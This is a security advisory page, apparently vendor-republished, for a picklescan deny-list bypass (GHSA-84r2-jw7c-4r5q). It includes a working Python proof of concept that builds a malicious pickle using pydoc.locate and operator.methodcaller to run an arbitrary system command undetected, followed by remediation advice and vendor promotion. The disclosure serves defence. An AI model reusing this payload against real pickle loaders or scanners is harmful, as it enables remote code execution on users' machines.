GHSA-84r2-jw7c-4r5q
Fix: mmaitre314/picklescan#53GHSA-84r2-jw7c-4r5q is a CWE-184 vulnerability in picklescan. O3 Security confirms whether GHSA-84r2-jw7c-4r5q is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Picklescan has Incomplete List of Disallowed Inputs
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly
- pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module).
- operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.
Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.
PoC
use the provided script to create a malicious pickle file
import pickle
import pydoc
import operator
import os
class ModuleLocator:
def __init__(self, module_name):
self.module_name = module_name
def __reduce__(self):
return (pydoc.locate, (self.module_name,))
class RCEPayload:
def __reduce__(self):
cmd = "notepad" #put your payload here
mc = operator.methodcaller("system", cmd)
return (mc, (ModuleLocator("os"),))
def generate_exploit():
payload = RCEPayload()
try:
with open("bypass.pkl", "wb") as f:
f.write(pickle.dumps(payload))
print("File 'bypass.pkl' created.")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
generate_exploit()
The generated payload will not be flagged as dangerous by picklescan but is actually malicious.
import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))
Script to open the pickle file, demonstrating impact
<img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" />Remediation
The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.33 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update picklescan to 0.0.33 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-84r2-jw7c-4r5q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-84r2-jw7c-4r5q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-84r2-jw7c-4r5q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-84r2-jw7c-4r5q in your dependencies?
O3 detects GHSA-84r2-jw7c-4r5q across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.